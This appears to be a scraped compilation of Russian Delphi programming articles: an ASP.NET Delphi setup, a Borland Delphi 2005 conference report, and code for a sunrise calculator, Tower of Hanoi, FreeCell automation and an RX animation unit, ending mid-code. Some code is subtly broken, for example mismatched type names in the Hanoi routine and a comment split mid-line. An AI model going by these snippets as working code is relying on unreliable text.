<body style="FONT-FAMILY: arial">
    <h2>Simple Data Report
    </h2>
    <hr size="1" />
    <form runat="server">
        <asp:datagrid id="DataGrid1" runat="server" CellSpacing="1" GridLines="None" CellPadding="3" BackColor="White" ForeColor="Black" EnableViewState="False">
            <HeaderStyle font-bold="True" forecolor="White" backcolor="#4A3C8C"></HeaderStyle>
            <ItemStyle backcolor="#DEDFDE"></ItemStyle>
        </asp:datagrid>
        <asp:Button id="Button1" style="Z-INDEX: 100; LEFT: 284px; POSITION: absolute; TOP: 151px" onclick="Button1Click" runat="server" Text="Bind To Data Grid"></asp:Button>
        <asp:Label id="Label1" style="Z-INDEX: 100; LEFT: 467px; POSITION: absolute; TOP: 156px" runat="server" Width="42px">Label</asp:Label>
        <asp:Button id="Button2" style="Z-INDEX: 101; LEFT: 283px; POSITION: absolute; TOP: 182px" onclick="Button2Click" runat="server" Text="Button"></asp:Button>
    </form>
</body>
</html>

{
To make the code execute locally you should download webmatrix which is an
excellent free downloadable aspx development environment. All you need then
is the following code in a web.config document :
}

<configuration>

    <system.web>

<compilation debug="true">
<assemblies>
  <add assembly="DelphiProvider" />
</assemblies>
            <compilers>
                <compiler language="Delphi" extension=".pas" type="Borland.Delphi.DelphiCodeProvider,DelphiProvider" />
            </compilers>

        </compilation>

    </system.web>
</configuration>

{
and inside a bin directory at the root the DelphiProvider.dll.

You may now create and run asp.net applications with delphi as you chosen
method of codeing.
}


Delphi 2005 Patch

Неофициальный Patch от Петровича для исправления некоторых ошибок IDE и VCL

http://forum.sources.ru/index.php?act=Attach&type=post&id=579672
Автор: Петрович

Взято из http://forum.sources.ru


Дельфи 2005 - отчёт, как я был на конференции Борланда

Вчера (21 декабря 2005 года) был на конференции Борланда посвященной Дельфи 2005. Конференцию проводил один из менеджеров команды разработчиков John Kastor, сама конференция проводилась в штате Висконсин, город Милуоки, это примерно в 150 км от моего дома.

Сразу оговорюсь - самому мне ещё не довелось близко ознакомиться с продуктом, поэтому передам лишь общее впечатление от выступления разработчика и то что я смог запомнить во время двух с половиной часовой лекции.

Сразу бросилось в глаза что Дельфи 2005 по большей части аутсорсинговый продукт и Джон назвал 7 стран в которых велась разработка - Россия (СПБ) на первом месте, учитывая как легко и правильно он прочитал мою и моего друга имя и фамилию он с русскими работает достаточно тесно и долго.

Сразу бросается в глаза основное направление которым идёт Борланд сейчас, это корпоративная разработка больших систем, т.е. все силы в новом релизе направлены на промышленный софт, разрабатываемый коллективами из десятков, сотен и тысяч программистов и програмные продукты соответствующих размеров. Судя по перечисленным новациям изменения самого языка занимают последнее место.

Первый момент: упор на единую интегрированную среду разработки для Дельфи, Дельфи.Net, С# и ASP.NET. В дальнейшем туда будет добавлен C++ и возможно Kylix (тут отдельный разговор). Т.е. уже не будет отдельных сред разработки, компилляторы и дебаггеры подключаются на лету, Есть возможность использовать разнотипные компилляторы и дебаггеры одновременно. Насколько я понял борландевцев - удар был сделан на переделку архитектуры и концепции самой среды так, чтобы подключение нового языка или платформы было максимально лёгким, в дальнейшем планируется при появлении новых популярных языков - легко интегрировать их в единую среду разработки.

Второй момент: Рефракторинг кода. Для тех кто не знает, рефракторинг - это изменение кода с целью улучшения его понятности, читабельности, удобства использования без изменения функциональности. До сих пор единственными элементами рефракторинга кажись было автоматическое изменение класса формы во всех методах при переименовании формы. Сейчас добавлены очень многочисленные методы:

1) Переименование любых идентификаторов глобально, во всех модулях по ссылкам. Т.е. любую переменную в коде можно переименовать из "Foo" в "TestMethod" и эта переменная будет переименована во всех местах где она уже описана

2) Опроцедуривание кода - выделяем любой кусок кода, и говорим что это процедура, среда автоматически выделенное помещает в новую процедуру, анализирует код, автоматически находит и объявляет локальные переменные для процедуры и все требуемые параметры.

3) Автоматическая очистка кода от неиспользуемых идентификаторов и т.п.

Были ещё пункты, я все не запомнил, за 2.5 часа он смог лишь очень бегло коснуться всех новаций.

Третий момент: документация кода. Автоматические генераторы XML которые перерабатывают исходный код проекта, определяют структуру связей объектов и методов, выцепляют из кода комментарии и генерируют XML документ для исходных кодов, на базе которого очень легко создавать документацию к исходникам.

Четвёртый момент: средства для тестирования проектов. Буквально одним кликом создаётся полный план тестирования с комментариями внутри кода что и где тестировать - типа в начале процедуры проверить передаваемые данные, в конце выходные, всякие скользкие места.... Документы для тестировщиков делаются динамическими, по мере тестирования тестировочные комментарии автоматически удаляются, по мере правки кода меняются и сами тестировочные документы.

Появились новые мощные системы контроля версий, и внедрения вплодь до автоматической замены модулей в системе по мере их разработки.

Были существенно доработанны ADO и dbExpress, добавлена ADO.NET и существенно доработана BDE для .NET. Был удивлён, но борландовцы утверждают что будут и впредь двигать BDE для локальных баз данных. Однако они сворачивают поддержку BDE серверных баз, так из BDE был исключён окончательно SQL-Link. Были сильно доработаны средства работы с базами данных, включая и массовые реструктуризации базы данных, копирование таблиц и т.п. вне зависимости от типа базы данных (если я правильно понял, то нечно типа BatchMove но работающем в ADO/dbExpress). BDE теперь не требует установки (наконец-то!) - достаточно просто положить нужные библиотеки в доступное место (только я не уверен что этио под все платформы, возможно это только под .NET). Существенно улучшена поддержка BLOB полей.

В языке (и Дельфи под win32) появилась .NET фишка - оператор For...in...do позволяющий проходить циклом по элементам коллекции ( и по-моему спискам тоже) что то типа:

For item in List1 do
begin
end;

Появилась перезагрузка операторов, record method, nested types, parametrizided types, multicast events.

Добавлена поддержка Multitier под .NET, в общем-то идеология MIDAS осталась, просто немного доработана и расширена.

Очень много сделано в плане оптимизации кэширования клиент-серверных техноголий, например в ASP.NET при навигации браузера на страницу назад не приводит к перезапросам в таблицах и т.п. Вообще в ASP.NET очень много доработано, складывается вечатление, что разработка web теперь почти не отличается от разработки локальных приложений - на web форму можно бросить DBGrid и DBNavigator и они сразу будут работать как в локальном приложении, можно побросать свои кнопки и обрабатывать события на сервере, появился даже ActionList для web форм, мало того, сложилось впечатление что и перенос кода с обычного приложения на web теперь очень облегчён, а если он на платформе .NET то вообще почти автоматично.

С++ под Win32 платформу - планируется включить ещё до выхода следующего релиза Дельфи. Кстати следующий релиз будет одновременно с выходом .NET 2х - борландовцы подчёркивали что они работают совместно с MS и обмениваются информацией по ходу дела. Кстати Борланд является единственным сертифицированным дистрибьютером .NET помимо MS.

Компоненты ECO (Enterprise Core Objects)- это вообще класс! Я проникся! Идея офигенная (впрочем не новая)... При нас Джон берёт тестовую MS базу данных Northwind и тремя кликами мышки делает:
1) Полный UML структуры таблиц со всеми ключами и взаимосвязами
2) Весь скелет классов для приложения соответственно этой структуре
3) Целиком готовое приложение для редактирования этой таблицы из десятков (если не сотен!) форм со всеми элементами, очень круто. Можно в собственном репозитории определить свои дизайны на любой вкус и на случаи жизни. Кто работал с базми данных - меня поймёт, приложение на которое в ручную тратится несколько недель делается за 1-2 минуты, пусть оно не совершенное, но оно уже сразу рабочее! День-два работы "напильником" и готово, вместо месяцев... Это впечатлило-так впечатлило. Причём исходная аза данных не имеет значения - всё будет работать прекрастно с любыми базами данных при любом доступе. В поставку входит более 60 примеров работы с ECO. ECO были уже для предыдущей Дельфи, но в этом релизе борландовцы утверждают что они были существенно доработаны, многое добавлено. Сделаны ECO и для ASP.NET

Очень существенно доработан Дебаггер под Win32 и .NET - всего я не упомнил, но по список доработок был внушительным.

Существенно дополнили средства планированя приложений, лёгкое трансформирование UML <-> код, стредства для Reverse Engeneering и облегчение переписывания кода на другой язык.

Поразили факты разработки самого Дельфи 2005 - он разрабатывался 3.5 года, причём 2.5 года производилось планировние, и только 1 год - программирование. Причём точность с которой за отведенное время было разработано рассчитанное количество нововведений составила 1%! Это на мой взгляд - на пределе возможностей для продуктов такого уровня сложности.

(с) Vit (Сссылка на оригинал статьи при перепечатке: http://forum.vingrad.ru/index.php?showtopic=37936 обязательна, это единственное ограничение при перепечатке статьи)

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


Развлечения

Cодержание раздела:

Определение восхода и захода солнца и луны
Ханойская башня
Управление игрой FreeCell
ScreenMate
Как повесить винду New!

См. также статьи в других разделах:
Рисование фрактальных графов
Как нарисовать радугу?


Определение восхода и захода солнца и луны

Автор: Александр Ермолаев

{
Программа вычисляет время восхода и захода
солнца по дате (с точностью до минуты) в пределах
нескольких текущих столетий. Производит корректировку, если
географическая

точка находится в арктическом или антарктическом регионе, где заход
или восход солнца

на текущую дату может не состояться. Вводимые данные: положительная
северная широта и

отрицательная западная долгота. Часовой пояс указывается относительно
Гринвича

(например, 5 для EST и 4 для EDT). Алгоритм обсуждался в
"Sky & Telescope" за август 1994, страница 84.

}

program sunproject;

uses
  Forms,
  main in 'main.pas' {Sun};

{$R *.RES}

begin
  Application.Initialize;
  Application.Title := 'Sun';
  Application.CreateForm(TSun, Sun);
  Application.Run;
end.

main.dfm

object Sun: TSun
  Left = 210
    Top = 106
    BorderIcons = [biSystemMenu, biMinimize]
    BorderStyle = bsSingle
    Caption = 'Sun'
    ClientHeight = 257
    ClientWidth = 299
    Color = clBtnFace
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    OldCreateOrder = False
    Position = poDesktopCenter
    OnCreate = CreateForm
    PixelsPerInch = 96
    TextHeight = 13
    object GroupBoxInput: TGroupBox
    Left = 4
      Top = 4
      Width = 173
      Height = 93
      Caption = ' Ввод '
      TabOrder = 0
      object LabelLongitude: TLabel
      Left = 35
        Top = 44
        Width = 78
        Height = 13
        Alignment = taRightJustify
        Caption = 'Долгота (град):'
    end
    object LabelTimeZone: TLabel
      Left = 13
        Top = 68
        Width = 100
        Height = 13
        Alignment = taRightJustify
        Caption = 'Часовая зона (час):'
    end
    object LabelAtitude: TLabel
      Left = 40
        Top = 20
        Width = 73
        Height = 13
        Alignment = taRightJustify
        Caption = 'Широта (град):'
    end
    object EditB5: TEdit
      Tag = 1
        Left = 120
        Top = 16
        Width = 37
        Height = 21
        TabOrder = 0
        Text = '0'
    end
    object EditL5: TEdit
      Tag = 2
        Left = 120
        Top = 40
        Width = 37
        Height = 21
        TabOrder = 1
        Text = '0'
    end
    object EditH: TEdit
      Tag = 3
        Left = 120
        Top = 64
        Width = 37
        Height = 21
        TabOrder = 2
        Text = '0'
    end
  end
  object GroupBoxCalendar: TGroupBox
    Left = 184
      Top = 4
      Width = 109
      Height = 93
      Caption = ' Календарь '
      TabOrder = 1
      object LabelD: TLabel
      Left = 19
        Top = 20
        Width = 30
        Height = 13
        Alignment = taRightJustify
        Caption = 'День:'
    end
    object LabelM: TLabel
      Left = 13
        Top = 44
        Width = 36
        Height = 13
        Alignment = taRightJustify
        Caption = 'Месяц:'
    end
    object LabelY: TLabel
      Left = 28
        Top = 68
        Width = 21
        Height = 13
        Alignment = taRightJustify
        Caption = 'Год:'
    end
    object EditD: TEdit
      Tag = 1
        Left = 56
        Top = 16
        Width = 37
        Height = 21
        TabOrder = 0
        Text = '0'
    end
    object EditM: TEdit
      Tag = 2
        Left = 56
        Top = 40
        Width = 37
        Height = 21
        TabOrder = 1
        Text = '0'
    end
    object EditY: TEdit
      Tag = 3
        Left = 56
        Top = 64
        Width = 37
        Height = 21
        TabOrder = 2
        Text = '0'
    end
  end
  object ButtonCalc: TButton
    Left = 12
      Top = 227
      Width = 169
      Height = 25
      Caption = '&Вычислить'
      TabOrder = 2
      OnClick = ButtonCalcClick
  end
  object ListBox: TListBox
    Left = 4
      Top = 104
      Width = 289
      Height = 117
      ItemHeight = 13
      TabOrder = 3
  end
  object ButtonClear: TButton
    Left = 192
      Top = 227
      Width = 91
      Height = 25
      Caption = '&Очистить'
      TabOrder = 4
      OnClick = ButtonClearClick
  end
end

main.pas

unit main;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs,

  StdCtrls;

type

  TSun = class(TForm)
    GroupBoxInput: TGroupBox;
    LabelLongitude: TLabel;
    EditB5: TEdit;
    EditL5: TEdit;
    LabelTimeZone: TLabel;
    EditH: TEdit;
    GroupBoxCalendar: TGroupBox;
    LabelD: TLabel;
    LabelM: TLabel;
    LabelY: TLabel;
    EditD: TEdit;
    EditM: TEdit;
    EditY: TEdit;
    ButtonCalc: TButton;
    ListBox: TListBox;
    ButtonClear: TButton;
    LabelAtitude: TLabel;
    procedure Calendar; // Календарь
    procedure GetTimeZone; // Получение часового пояса
    procedure PosOfSun; // Получаем положение солнца
    procedure OutInform; // Процедура вывода информации
    procedure PossibleEvents(Hour: integer); // Возможные события на
    полученный час

    procedure GetDate; //Получить значения даты
    procedure GetInput; //Получить значения широты,...
    procedure ButtonCalcClick(Sender: TObject);
    procedure CreateForm(Sender: TObject);
    procedure ButtonClearClick(Sender: TObject);
  private
    function Sgn(Value: Double): integer; // Сигнум
  public
    { Public declarations }
  end;

var

  Sun: TSun;
  st: string;
  aA, aD: array[1..2] of double;
  B5: integer;
  L5: double;
  H: integer;
  Z, Z0, Z1: double;
  D: double;
  M, Y: integer;
  A5, D5, R5: double;
  J3: integer;
  T, T0, TT, T3: double;
  L0, L2: double;
  H0, H1, H2, H7, N7, D7: double;
  H3, M3: integer;
  M8, W8: double;
  A, B, A0, D0, A2, D1, D2, DA, DD: double;
  E, F, J, S, C, P, L, G, V, U, W: double;
  V0, V1, V2: double;
  C0: integer;
  AZ: double;

const

  P2 = Pi * 2; // 2 * Pi
  DR = Pi / 180; // Радиан на градус
  K1 = 15 * DR * 1.0027379;

implementation

{$R *.DFM}

function TSun.Sgn(Value: Double): integer;
begin

  {if Value = 0 then} Result := 0;
  if Value > 0 then
    Result := 1;
  if Value < 0 then
    Result := -1;
end;

procedure TSun.Calendar;
begin

  G := 1;
  if Y < 1583 then
    G := 0;
  D1 := Trunc(D);
  F := D - D1 - 0.5;
  J := -Trunc(7 * (Trunc((M + 9) / 12) + Y) / 4);
  if G = 1 then
  begin
    S := Sgn(M - 9);
    A := Abs(M - 9);
    J3 := Trunc(Y + S * Trunc(A / 7));
    J3 := -Trunc((Trunc(J3 / 100) + 1) * 3 / 4);
  end;
  J := J + Trunc(275 * M / 9) + D1 + G * J3;
  J := J + 1721027 + 2 * G + 367 * Y;
  if F >= 0 then
    Exit;
  F := F + 1;
  J := J - 1;
end;

procedure TSun.GetTimeZone;
begin

  T0 := T / 36525;
  S := 24110.5 + 8640184.813 * T0;
  S := S + 86636.6 * Z0 + 86400 * L5;
  S := S / 86400;
  S := S - Trunc(S);
  T0 := S * 360 * DR;
end;

procedure TSun.PosOfSun;
begin

  //      Фундаментальные константы
  //  (Van Flandern & Pulkkinen, 1979)
  L := 0.779072 + 0.00273790931 * T;
  G := 0.993126 + 0.0027377785 * T;
  L := L - Trunc(L);
  G := G - Trunc(G);
  L := L * P2;
  G := G * P2;
  V := 0.39785 * Sin(L);
  V := V - 0.01000 * Sin(L - G);
  V := V + 0.00333 * Sin(L + G);
  V := V - 0.00021 * TT * Sin(L);
  U := 1 - 0.03349 * Cos(G);
  U := U - 0.00014 * Cos(2 * L);
  U := U + 0.00008 * Cos(L);
  W := -0.00010 - 0.04129 * Sin(2 * L);
  W := W + 0.03211 * Sin(G);
  W := W + 0.00104 * Sin(2 * L - G);
  W := W - 0.00035 * Sin(2 * L + G);
  W := W - 0.00008 * TT * Sin(G);

  // Вычисление солнечных координат
  S := W / Sqrt(U - V * V);
  A5 := L + ArcTan(S / Sqrt(1 - S * S));
  S := V / Sqrt(U);
  D5 := ArcTan(S / Sqrt(1 - S * S));
  R5 := 1.00021 * Sqrt(U);
end;

procedure TSun.PossibleEvents(Hour: integer);
var
  num: string;
begin

  st := '';
  L0 := T0 + Hour * K1;
  L2 := L0 + K1;
  H0 := L0 - A0;
  H2 := L2 - A2;
  H1 := (H2 + H0) / 2; // Часовой угол,
  D1 := (D2 + D0) / 2; // наклон в получасе
  if Hour <= 0 then
    V0 := S * Sin(D0) + C * Cos(D0) * Cos(H0) - Z;
  V2 := S * Sin(D2) + C * Cos(D2) * Cos(H2) - Z;
  if Sgn(V0) = Sgn(V2) then
    Exit;
  V1 := S * Sin(D1) + C * Cos(D1) * Cos(H1) - Z;
  A := 2 * V2 - 4 * V1 + 2 * V0;
  B := 4 * V1 - 3 * V0 - V2;
  D := B * B - 4 * A * V0;
  if D < 0 then
    Exit;
  D := Sqrt(D);
  if (V0 < 0) and (V2 > 0) then
    st := st + 'Восход солнца в ';
  if (V0 < 0) and (V2 > 0) then
    M8 := 1;
  if (V0 > 0) and (V2 < 0) then
    st := st + 'Заход солнца в ';
  if (V0 > 0) and (V2 < 0) then
    W8 := 1;
  E := (-B + D) / (2 * A);
  if (E > 1) or (E < 0) then
    E := (-B - D) / (2 * A);
  T3 := Hour + E + 1 / 120; // Округление
  H3 := Trunc(T3);
  M3 := Trunc((T3 - H3) * 60);
  Str(H3: 2, num);
  st := st + num + ':';
  Str(M3: 2, num);
  st := st + num;
  H7 := H0 + E * (H2 - H0);
  N7 := -Cos(D1) * Sin(H7);
  D7 := C * Sin(D1) - S * Cos(D1) * COS(H7);
  AZ := ArcTan(N7 / D7) / DR;
  if (D7 < 0) then
    AZ := AZ + 180;
  if (AZ < 0) then
    AZ := AZ + 360;
  if (AZ > 360) then
    AZ := AZ - 360;
  Str(AZ: 4: 1, num);
  st := st + ', азимут ' + num;
end;

procedure TSun.OutInform;
begin

  if (M8 = 0) and (W8 = 0) then
  begin
    if V2 < 0 then
      ListBox.Items.Add('Солнце заходит весь день ');
    if V2 > 0 then
      ListBox.Items.Add('Солнце восходит весь день ');
  end
  else
  begin
    if M8 = 0 then
      ListBox.Items.Add('В этот день солнце не восходит ');
    if W8 = 0 then
      ListBox.Items.Add('В этот день солнце не заходит ');
  end;
end;

procedure TSun.GetDate;
begin

  D := StrToInt(EditD.text);
  M := StrToInt(EditM.text);
  Y := StrToInt(EditY.text);
end;

procedure TSun.GetInput;
begin

  B5 := StrToInt(EditB5.Text);
  L5 := StrToInt(EditL5.Text);
  H := StrToInt(EditH.Text);
end;

procedure TSun.ButtonCalcClick(Sender: TObject);
var
  C0: integer;
begin

  GetDate;
  GetInput;
  ListBox.Items.Add('Широта: ' + EditB5.Text +
    ' Долгота: ' + EditL5.Text +
    ' Зона: ' + EditH.Text +
    ' Дата: ' + EditD.Text +
    '/' + EditM.Text +
    '/' + EditY.Text);
  L5 := L5 / 360;
  Z0 := H / 24;
  Calendar;
  T := (J - 2451545) + F;
  TT := T / 36525 + 1; // TT - столетия, начиная с 1900.0
  GetTimeZone; // Получение часового пояса
  T := T + Z0;
  PosOfSun; // Получаем положение солнца
  aA[1] := A5;
  aD[1] := D5;
  T := T + 1;
  PosOfSun;
  aA[2] := A5;
  aD[2] := D5;
  if aA[2] < aA[1] then
    aA[2] := aA[2] + P2;
  Z1 := DR * 90.833; // Вычисление зенита
  S := Sin(B5 * DR);
  C := Cos(B5 * DR);
  Z := Cos(Z1);
  M8 := 0;
  W8 := 0;
  A0 := aA[1];
  D0 := aD[1];
  DA := aA[2] - aA[1];
  DD := aD[2] - aD[1];
  for C0 := 0 to 23 do
  begin
    P := (C0 + 1) / 24;
    A2 := aA[1] + P * DA;
    D2 := aD[1] + P * DD;
    PossibleEvents(C0);
    if st <> '' then
      ListBox.Items.Add(st);
    A0 := A2;
    D0 := D2;
    V0 := V2;
  end;
  OutInform;
  ListBox.Items.Add(''); // Разделяем данные
end;

procedure TSun.CreateForm(Sender: TObject);
begin

  EditD.Text := FormatDateTime('d', Date);
  EditM.Text := FormatDateTime('m', Date);
  EditY.Text := FormatDateTime('yyyy', Date);
end;

procedure TSun.ButtonClearClick(Sender: TObject);
begin
  ListBox.Clear;
end;

end.

Взято с http://delphiworld.narod.ru


Ханойская башня

"Ханойская башня" построена на очень простом алгоритме. Здесь я привожу этот алгоритм, который Вы сможете без труда воспроизвести.

type
  THanoiBin = 0..2;
  THanoiLevel = 0..9;

procedure MoveDisc(FromPin, ToPin : THanoiPin; Level : THanoiLevel);
//  Это Вы должны сделать сами. Переместите один диск с одного штырька на другой.
//  Диск окажется наверху (естественно, выше него дисков не будет)

Вы можете каким угодно образом перемещать диски 3-х пирамид. 3 пирамиды - наиболее простая разновидность алгоритма. Таким образом процедура переноса диска (MoveDisc) аналогична операции переноса диска на верхний уровень (MoveTopDisc): переместить диск наверх с одного штырька (FromPin) на другой штырек (ToPin) и передать указатель на штырек-приемник (MoveTower) вместе с уровнем расположения перемещенного диска. Другое решение заключается в использовании трех массивов [THanoiLevel] логического типа. В этом случае триггер "Истина (True)" означает наличие на пирамиде диска с размером, соответствующим порядковому номеру элемента массива THanoiLevel.

procedure MoveTower(FromPin, ToPin : THanoiPin; Level : THanoiLevel);
begin
  if HanoiLevel <= High(THanoiLevel) then
  begin
    MoveTower(FromPin, 3 - FromPin - ToPin, Level + 1);
    MoveDisc(FromPin, ToPin, Level);
    MoveTower(3 - FromPin - ToPin, ToPin, Level + 1);
  end;
end;

Чтобы переместить пирамиду целиком, вы должны вызвать процедуру MoveTower следующим образом:

MoveTower(0, 1, Low(THanoiLevel));

Взято с http://delphiworld.narod.ru


Управление игрой FreeCell

Если вы решили перепробовать ВСЕ номера игры FreeCell, вас можно квалифицировать как законченного маньяка. В этом случае вас, возможно, заинтересует эта маленькая программка. При ее запуске она загружает FreeCell и начинает игру, следующую за той, которую вы не смогли завершить в прошлый раз. А еще она отвечает на глупые вопросы типа "Do you really want to resign the game?". После выигрыша программа изменяет счетчик таким образом, чтобы при очередном запуске номер игры изменялся на следующий автоматически.

Для создания программы расположите на новой форме таймер, установите ее свойство WindowState на wsMinimized и используйте следующий код:

...
private
  { Private declarations }
  InstHandle: Word;
  WndHandle: hWnd;
  NextGame: Word;

  function EnumFunc(H: HWnd): Word;
  procedure WMQUERYOPEN(var Msg: TWMQueryOpen); message WM_QUERYOPEN;
...

interface
USES
  ShellApi, IniFiles;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var
  H, SubH: hMenu;
  NewGameID: Word;
  FreeCellPath: string;
begin
  with TIniFile.Create(ChangeFileExt(Application.ExeName, '.INI')) do
  try
    FreeCellPath := ReadString('FreeCell', 'Path',
      'C:\WIN32APP\FREECELL\FREECELL.EXE') + #0;
    NextGame := ReadInteger('FreeCell', 'NextGame', 1);
  finally
    Free;
  end;
  InstHandle := ShellExecute(Handle, nil, @FreeCellPath[1],
    nil, nil, SW_SHOW);
  WndHandle := 0;
  if InstHandle >= 32 then
    EnumWindows(@TForm1.EnumFunc, LongInt(Self));
  if WndHandle <> 0 then
  begin
    {Вычисляем ID пункта меню "Select Game"}
    H := GetMenu(WndHandle);
    SubH := GetSubMenu(H, 0);
    NewGameID := GetMenuItemID(SubH, 1);
    Winprocs.SetFocus(WndHandle);
    {вызываем "Select Game"}
    PostMessage(WndHandle, WM_COMMAND, NewGameID, 0);
    Timer1.Enabled := True;
  end
  else
    Close;
end;

procedure TForm1.WMQUERYOPEN(var Msg: TWMQueryOpen);
begin
  Msg.Result := 0;
end;

function TForm1.EnumFunc(H: HWnd): Word;
begin

  if GetWindowWord(H, GWW_HINSTANCE) = InstHandle then
  begin
    WndHandle := H;
    Result := 0;
  end
  else
    Result := 1;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  Buffer: array[0..10] of Char;

  DlgHandle: Word;
begin

  {Если пользователь закрыл FreeCell, выходим!}
  if GetModuleUsage(InstHandle) = 0 then
  begin
    Close;
    Exit;
  end;
  {При необходимости укажите номер игры}
  DlgHandle := FindWindow('#32770', 'Game Number');
  if DlgHandle <> 0 then
  begin
    Str(NextGame, Buffer);
    SendDlgItemMessage(DlgHandle, $CB, WM_SETTEXT,
      0, LongInt(@Buffer));
    PostMessage(DlgHandle, WM_COMMAND, 1,
      MakeLong(GetDlgItem(DlgHandle, 1), BN_CLICKED));
  end;
  {Если игра окончена, увеличиваем счетчик}
  DlgHandle := FindWindow('#32770', 'Game Over');
  if DlgHandle <> 0 then
  begin
    Inc(NextGame);
    with TIniFile.Create(ChangeFileExt(Application.ExeName, '.INI')) do
    try
      WriteInteger('FreeCell', 'NextGame', NextGame);
    finally Free;
    end;
    PostMessage(DlgHandle, WM_COMMAND, 6,
      MakeLong(GetDlgItem(DlgHandle, 6), BN_CLICKED));
  end;
  {Если игра спрашивает, хотите ли вы выйти, отвечем соответственно yes или OK}
  DlgHandle := FindWindow('#32770', 'FreeCell');
  if DlgHandle <> 0 then
  begin
    if (not (GetDlgItemText(DlgHandle, 6, Buffer, 10) in [0, 10]))
      and (StrComp(Buffer, '&Yes') = 0) then
      PostMessage(DlgHandle, WM_COMMAND, 6,
        MakeLong(GetDlgItem(DlgHandle, 6), BN_CLICKED))
    else if (not (GetDlgItemText(DlgHandle, 2, Buffer, 10) in [0, 10]))
      and (StrComp(Buffer, 'Cancel') = 0) then
      PostMessage(DlgHandle, WM_COMMAND, 1,
        MakeLong(GetDlgItem(DlgHandle, 1), BN_CLICKED))
  end;
end;

Взято с http://delphiworld.narod.ru


ScreenMate

Многие из вас знакомы с этим термином. Так характеризуют программы, которые выводят на экран спрайтового персонажа, не создавая при этом окна. Я очень давно искал данный пример в сети, и теперь решил вас порадовать. Программа состоит из нескольких узлов, кои будут приведены ниже...

p.s К сожалению вам надо позаботиться о кадрах анимации этого персонажа самим т.к рисунки я послать немогу...

{*******************************************************}
                                                      { }
                           { Delphi VCL Extensions (RX) }
                                                      { }
                    { Copyright (c) 1995, 1996 AO ROSNO }
                 { Copyright (c) 1997, 1998 Master-Bank }
                                                      { }
{*******************************************************}

unit Animate;

interface

{$I RX.INC}

uses Messages, {$IFDEF WIN32}Windows, {$ELSE}WinTypes, WinProcs,
{$ENDIF}
  SysUtils, Classes, Graphics, Controls, Forms, StdCtrls, Menus,
  ExtCtrls;

type
  TGlyphOrientation = (goHorizontal, goVertical);

  { TRxImageControl }

  TRxImageControl = class(TGraphicControl)
  private
    FDrawing: Boolean;
  protected
    FGraphic: TGraphic;
    function DoPaletteChange: Boolean;
    procedure DoPaintImage; virtual; abstract;
    procedure PaintDesignRect;
    procedure PaintImage;
    procedure PictureChanged;
  public
    constructor Create(AOwner: TComponent); override;
  end;

  { TAnimatedImage }

  TAnimatedImage = class(TRxImageControl)
  private
    { Private declarations }
    FActive: Boolean;
    FAutoSize: Boolean;
    FGlyph: TBitmap;
    FImageWidth: Integer;
    FImageHeight: Integer;
    FInactiveGlyph: Integer;
    FOrientation: TGlyphOrientation;
    FTimer: TTimer;
    FNumGlyphs: Integer;
    FGlyphNum: Integer;
    FStretch: Boolean;
    FTransparentColor: TColor;
    FOpaque: Boolean;
    FTimerRepaint: Boolean;
    FOnFrameChanged: TNotifyEvent;
    FOnStart: TNotifyEvent;
    FOnStop: TNotifyEvent;
    procedure DefineBitmapSize;
    procedure ResetImageBounds;
    procedure AdjustBounds;
    function GetInterval: Cardinal;
    procedure SetAutoSize(Value: Boolean);
    procedure SetInterval(Value: Cardinal);
    procedure SetActive(Value: Boolean);
    procedure SetOrientation(Value: TGlyphOrientation);
    procedure SetGlyph(Value: TBitmap);
    procedure SetGlyphNum(Value: Integer);
    procedure SetInactiveGlyph(Value: Integer);
    procedure SetNumGlyphs(Value: Integer);
    procedure SetStretch(Value: Boolean);
    procedure SetTransparentColor(Value: TColor);
    procedure SetOpaque(Value: Boolean);
    procedure ImageChanged(Sender: TObject);
    procedure UpdateInactive;
    procedure TimerExpired(Sender: TObject);
    function TransparentStored: Boolean;
    procedure WMSize(var Message: TWMSize); message WM_SIZE;
  protected
    { Protected declarations }
    function GetPalette: HPALETTE; override;
    procedure Loaded; override;
    procedure Paint; override;
    procedure DoPaintImage; override;
    procedure FrameChanged; dynamic;
    procedure Start; dynamic;
    procedure Stop; dynamic;
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    procedure DoPaintImageOn(Mycanvas: Tcanvas; x, y: integer);
      virtual;
  published
    { Published declarations }
    property Active: Boolean read FActive write SetActive default
      False;
    property Align;
    property AutoSize: Boolean read FAutoSize write SetAutoSize
      default True;
    property Orientation: TGlyphOrientation read FOrientation write
      SetOrientation
      default goHorizontal;
    property Glyph: TBitmap read FGlyph write SetGlyph;
    property GlyphNum: Integer read FGlyphNum write SetGlyphNum
      default 0;
    property Interval: Cardinal read GetInterval write SetInterval
      default 100;
    property NumGlyphs: Integer read FNumGlyphs write SetNumGlyphs
      default 1;
    property InactiveGlyph: Integer read FInactiveGlyph write
      SetInactiveGlyph default -1;
    property TransparentColor: TColor read FTransparentColor write
      SetTransparentColor
      stored TransparentStored;
    property Opaque: Boolean read FOpaque write SetOpaque default
      False;
    property Color;
    property Cursor;
    property DragCursor;
    property DragMode;
    property ParentColor default True;
    property ParentShowHint;
    property PopupMenu;
    property ShowHint;
    property Stretch: Boolean read FStretch write SetStretch default
      True;
    property Visible;
    property OnClick;
    property OnDblClick;
    property OnMouseMove;
    property OnMouseDown;
    property OnMouseUp;
    property OnDragOver;
    property OnDragDrop;
    property OnEndDrag;
{$IFDEF WIN32}
    property OnStartDrag;
{$ENDIF}
    property OnFrameChanged: TNotifyEvent read FOnFrameChanged write
      FOnFrameChanged;
    property OnStart: TNotifyEvent read FOnStart write FOnStart;
    property OnStop: TNotifyEvent read FOnStop write FOnStop;
  end;

implementation

uses RxConst, VCLUtils;

{ TRxImageControl }

constructor TRxImageControl.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  ControlStyle := [csClickEvents, csCaptureMouse, csOpaque,
{$IFDEF WIN32}csReplicatable, {$ENDIF}csDoubleClicks];
  Height := 105;
  Width := 105;
  ParentColor := True;
end;

procedure TRxImageControl.PaintImage;
var
  Save: Boolean;
begin
  Save := FDrawing;
  FDrawing := True;
  try
    DoPaintImage;
  finally
    FDrawing := Save;
  end;
end;

procedure TRxImageControl.PaintDesignRect;
begin
